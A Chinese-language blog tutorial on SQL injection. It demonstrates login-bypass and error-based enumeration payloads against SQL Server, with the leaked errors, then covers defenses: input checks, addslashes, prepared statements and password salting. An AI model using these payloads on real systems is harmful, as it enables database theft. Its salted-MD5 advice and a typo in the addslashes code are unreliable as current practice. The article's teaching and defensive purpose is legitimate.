所谓SQL注入，就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令，比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的，这类表单特别容易受到SQL注入式攻击
初步注入–绕过验证，直接登录
绕过前段js验证，一般在form表单中输入 ‘or 1=1 ‘，这样会出现直接请求成功的数据1
SELECT * From Table WHERE Name='XX' and Password='YY' and Corp='ZZ'
中级注入–借助异常获取信息
输入框中直接输入 “or 1=(SELECT @@version) –”,这是会报错，但是会显示出报错的信息1
2
3
4
5
6SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=(SELECT @@VERSION)--';
判断条件变成了 1=(SELECT @@VERSION),这个写法肯定会导致错误，但出错正是我们想要的。点击登录后，页面出现以下信息：
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64) Sep 21 2011 22:45:45 Copyright (c)
1988-2008 Microsoft Corporation Developer Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) ' to data type int.
可怕的事情出现了，服务器的操作系统和SQL Server版本信息竟然通过错误显示出来。
危害扩大–获取服务器所有的库名、表名、字段名
接着，我们在输入框中输入如下信息：“t’ or 1=(SELECT top 1 name FROM master..sysdatabases where name not in (SELECT top 0 name FROM master..sysdatabases))–”，此时发现第三个输入框有字数长度的限制，然而这种客户端的限制形同虚设，直接通过Google浏览器就能修改前段的js或者html代码了。
点击登录，返回的信息如下：
Conversion failed when converting the nvarchar value ‘master’ to data type int.
数据库名称“master”通过异常被显示出来！依次改变上面SQL语句中的序号，就能得到服务器上所有数据库的名称。
接着，输入信息如下：“b’ or 1=(SELECT top 1 name FROM master..sysobjects where xtype=’U’ and name not in (SELECT top 1 name FROM master..sysobjects where xtype=’U’))–”
得到返回信息如下：
Conversion failed when converting the nvarchar value ‘spt_fallback_db’ to data type int.
我们得到了master数据库中的第一张表名：“spt_fallback_db”，同上，依次改变序号，可得到该库全部表名。
现在我们以“spt_fallback_db”表为例，尝试获取该表中所有的字段名。在输入框中输入以下代码：“b’ or 1=(SELECT top 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’spt_fallback_db’);”
于是，得到错误提示如下：
“Conversion failed when converting the nvarchar value ‘xserver_name’ to data type int.”;
这样第一个字段名“xserver_name”就出来了，依次改变序号，就能遍历出所有的字段名。
最终目的–获取数据库中的数据
写到这里，我们已知通过SQL注入能获取全部的数据库，表，及其字段，为了防止本文完全沦为注入教程，获取数据的代码就不再描述，而这篇文章的目的也已达到，SQL注入意味着什么？意味着数据库中所有数据都能被盗取。
当知道这个危害以后，是否还能有人对SQL注入漏洞置之不理？
如何防范sql注入
对于服务器配置层面的防范，应该保证生产环境的Webserver是关闭错误信息的，比如PHP在生产环境的配置文件php.ini中的display_errors应该设置为Off，这样就关闭了错误提示，下面我们更多的从编码的角度来看看如何防范SQL注入。
上面用两个实例分析了SQL注入攻击的技巧，可以看到，但凡有SQL注入漏洞的程序，都是因为程序要接受来自客户端用户输入的变量或URL传递的参数，并且这个变量或参数是组成SQL语句的一部分，对于用户输入的内容或传递的参数，我们应该要时刻保持警惕，这是安全领域里的「外部数据不可信任」的原则，纵观Web安全领域的各种攻击方式，大多数都是因为开发者违反了这个原则而导致的，所以自然能想到的，就是从变量的检测、过滤、验证下手，确保变量是开发者所预想的。
- 检查变量数据类型和格式
如果你的SQL语句是类似where id={$id}这种形式，数据库里所有的id都是数字，那么就应该在SQL被执行前，检查确保变量id是int类型；如果是接受邮箱，那就应该检查并严格确保变量一定是邮箱的格式，其他的类型比如日期、时间等也是一个道理。总结起来：只要是有固定格式的变量，在SQL语句执行前，应该严格按照固定格式去检查，确保变量是我们预想的格式，这样很大程度上可以避免SQL注入攻击。
比如，我们前面接受username参数例子中，我们的产品设计应该是在用户注册的一开始，就有一个用户名的规则，比如5-20个字符，只能由大小写字母、数字以及一些安全的符号组成，不包含特殊字符。此时我们应该有一个check_username的函数来进行统一的检查。不过，仍然有很多例外情况并不能应用到这一准则，比如文章发布系统，评论系统等必须要允许用户提交任意字符串的场景，这就需要采用过滤等其他方案了。 - 过滤特殊符号
对于无法确定固定格式的变量，一定要进行特殊符号过滤或转义处理。以PHP为例，通常是采用addslashes函数，它会在指定的预定义字符前添加反斜杠转义，这些预定义的字符是：单引号 (‘) 双引号 (“) 反斜杠 () NULL。1
2
3$uid = isset($_GET['uid']) ? $_GET['uid'] : 0;
$uid = addslashes(uid);
$sql = "SELECT uid,username FROM user WHERE uid='{$uid}'";
1 | $uid = isset($_GET['uid']) ? $_GET['uid'] : 0; |
上面两个查询语句都经过了php的addslashes函数过滤转义，但在安全性上却大不相同，在MySQL中，对于int类型字段的条件查询，上面个语句的查询效果完全一样，由于第一句SQL的变量被单引号包含起来，SQL注入的时候，黑客面临的首要问题是必须要先闭合前面的单引号，这样才能使后面的语句作为SQL执行，并且还要注释掉原SQL语句中的后面的单引号，这样才可以成功注入，由于代码里使用了addslashes函数，黑客的攻击会无从下手，但第二句没有用引号包含变量，那黑客也不用考虑去闭合、注释，所以即便同样采用addslashes转义，也还是存在SQL攻击漏洞。
从上面可以看出，第二个SQL语句是有漏洞的，不过由于使用了addslashes函数，你会发现黑客的攻击语句也存在不能使用特殊符号的条件限制，类似where username=’plhwin’这样的攻击语句是没法执行的，但是黑客可以将字符串转为16进制编码数据或使用char函数进行转化，同样能达到相同的目的
- 绑定变量，使用预编译语句
MySQL的mysqli驱动提供了预编译语句的支持，不同的程序语言，都分别有使用预编译语句的方法，我们这里仍然以PHP为例，编写userinfo2.php代码：1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
header('Content-type:text/html; charset=UTF-8');
$username = isset($_GET['username']) ? $_GET['username'] : '';
$userinfo = array();
if($username){
//使用mysqli驱动连接demo数据库
$mysqli = new mysqli("localhost", "root", "root", 'demo');
//使用问号替代变量位置
$sql = "SELECT uid,username FROM user WHERE username=?";
$stmt = $mysqli->prepare($sql);
//绑定变量
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($uid, $username);
while ($stmt->fetch()) {
$row = array();
$row['uid'] = $uid;
$row['username'] = $username;
$userinfo[] = $row;
}
}
echo '<pre>',print_r($userinfo, 1),'</pre>';
从上面的代码可以看到，我们程序里并没有使用addslashes函数，但是浏览器里运行 http://localhost/test/userinfo2.php?username=plhwin' AND 1=1– hack里得不到任何结果，说明SQL漏洞在这个程序里并不存在。
实际上，绑定变量使用预编译语句是预防SQL注入的最佳方式，使用预编译的SQL语句语义不会发生改变，在SQL语句中，变量用问号?表示，黑客即使本事再大，也无法改变SQL语句的结构，像上面例子中，username变量传递的plhwin’ AND 1=1– hack参数，也只会当作username字符串来解释查询，从根本上杜绝了SQL注入攻击的发生。
数据库信息加密
相信大家都还对2011年爆出的CSDN拖库事件记忆犹新，这件事情导致CSDN处在风口浪尖被大家痛骂的原因就在于他们竟然明文存储用户的密码，这引发了科技界对用户信息安全尤其是密码安全的强烈关注，我们在防范SQL注入的发生的同时，也应该未雨绸缪，说不定下一个被拖库的就是你，谁知道呢。
在Web开发中，传统的加解密大致可以分为三种:
1、对称加密：即加密方和解密方都使用相同的加密算法和密钥，这种方案的密钥的保存非常关键，因为算法是公开的，而密钥是保密的，一旦密匙泄露，黑客仍然可以轻易解密。常见的对称加密算法有：AES、DES等。
2、非对称加密：即使用不同的密钥来进行加解密，密钥被分为公钥和私钥，用私钥加密的数据必须使用公钥来解密，同样用公钥加密的数据必须用对应的私钥来解密，常见的非对称加密算法有：RSA等。
3、不可逆加密：利用哈希算法使数据加密之后无法解密回原数据，这样的哈希算法常用的有：md5、SHA-1等。
在我们上面登录系统的示例代码中，$md5password = md5($password);从这句代码可以看到采用了md5的不可逆加密算法来存储密码，这也是多年来业界常用的密码加密算法，但是这仍然不安全。为什么呢？
这是因为md5加密有一个特点：同样的字符串经过md5哈希计算之后生成的加密字符串也是相同的，由于业界采用这种加密的方式由来已久，黑客们也准备了自己强大的md5彩虹表来逆向匹配加密前的字符串，这种用于逆向反推MD5加密的彩虹表在互联网上随处可见，在Google里使用md5 解密作为关键词搜索，一下就能找到md5在线破解网站，把我们插入用户数据时候的MD5加密字符串e10adc3949ba59abbe56e057f20f883e填入进去，瞬间就能得到加密前的密码：123456。当然也并不是每一个都能成功，但可以肯定的是，这个彩虹表会越来越完善。
所以，我们有迫切的需求采用更好的方法对密码数据进行不可逆加密，通常的做法是为每个用户确定不同的密码加盐（salt）后，再混合用户的真实密码进行md5加密，如以下代码：1
2
3
4
5
6
7
8
9
//用户注册时候设置的password
$password = $_POST['password'];
//md5加密，传统做法直接将加密后的字符串存入数据库，但这不够，我们继续改良
$passwordmd5 = md5($password);
//为用户生成不同的密码盐，算法可以根据自己业务的需要而不同
$salt = substr(uniqid(rand()), -6);
//新的加密字符串包含了密码盐
$passwordmd5 = md5($passwordmd5.$salt);
总结
关于安全性，本文可总结出一下几点：
- 对用户输入的内容要时刻保持警惕。
- 数据库连接注意权限的设置，做好数据库帐号权限管理
- 永远不要把服务器错误信息暴露给用户
- SQL注入不仅能通过输入框，还能通过Url达到目的。
- 漏洞跟语言平台无关，并非php有注入漏洞，一切要看设计者是否用心。
- 不要把机密信息明文存放，请加密或者hash掉密码和敏感的信息
- 不要随意开启生产环境中Webserver的错误显示。
- 严格加密机密信息。